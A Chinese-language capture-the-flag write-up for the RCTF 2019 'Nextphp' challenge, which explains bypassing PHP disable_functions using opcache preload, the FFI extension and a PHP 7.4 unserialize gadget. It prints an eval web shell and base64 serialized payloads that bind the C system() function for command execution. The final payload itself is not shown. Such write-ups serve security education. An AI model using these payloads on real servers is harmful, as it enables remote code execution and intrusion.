[RCTF 2019]Nextphp

[RCTF 2019]Nextphp

考点

  • PHP FFI

  • PHP opcache

  • bypass disable_functions

wp

给了个shell的源码

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

?a=phpinfo();看到phpinfo中设置了disable_functions

?a=var_dump(scandir('/'));提示没有权限,?a=var_dump(scandir('.'));看到两个文件,index.php和preload.php。再读取preload.php

实际上还是要仔细观察phpinfo,可以看到设置了opcache.preload,启用了FFI,禁用了反射类

opcache.preloadPHP7.4 中新加入的功能。如果设置了 opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的 preload 文件加载进内存中,使这些 preload 文件中的内容对之后的请求均可用。更多细节可以阅读:https://wiki.php.net/rfc/preload ,在这篇文档尾巴可以看到如下描述:

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

大概意思就是说允许在 preload 文件中使用 FFI 拓展,但是文档中说了 FFI 是一个危险的拓展,而这道题目却开启了 FFI 拓展。我们可以参考文档:https://wiki.php.net/rfc/ffi 中的例子:

如果不设置 FFI::cdef 的第二个参数,也可以调用 C 函数。那么命令执行函数格式如下

preload.php中定义了A类,实现了Serializable接口,__unserialize()函数会在反序列化时被调用。这一特性是在PHP7.4中新加入的,具体可参考:https://wiki.php.net/rfc/custom_object_serialization

传入?a=var_dump(unserialize(base64_decode("QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319")));

触发A::run()从而把FFI对象返回给A->data['ret'],再用A::__get()函数就可以获取FFI对象了

?a=var_dump(unserialize(base64_decode("QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319"))->__get('ret'));

最后payload

小结

最后更新于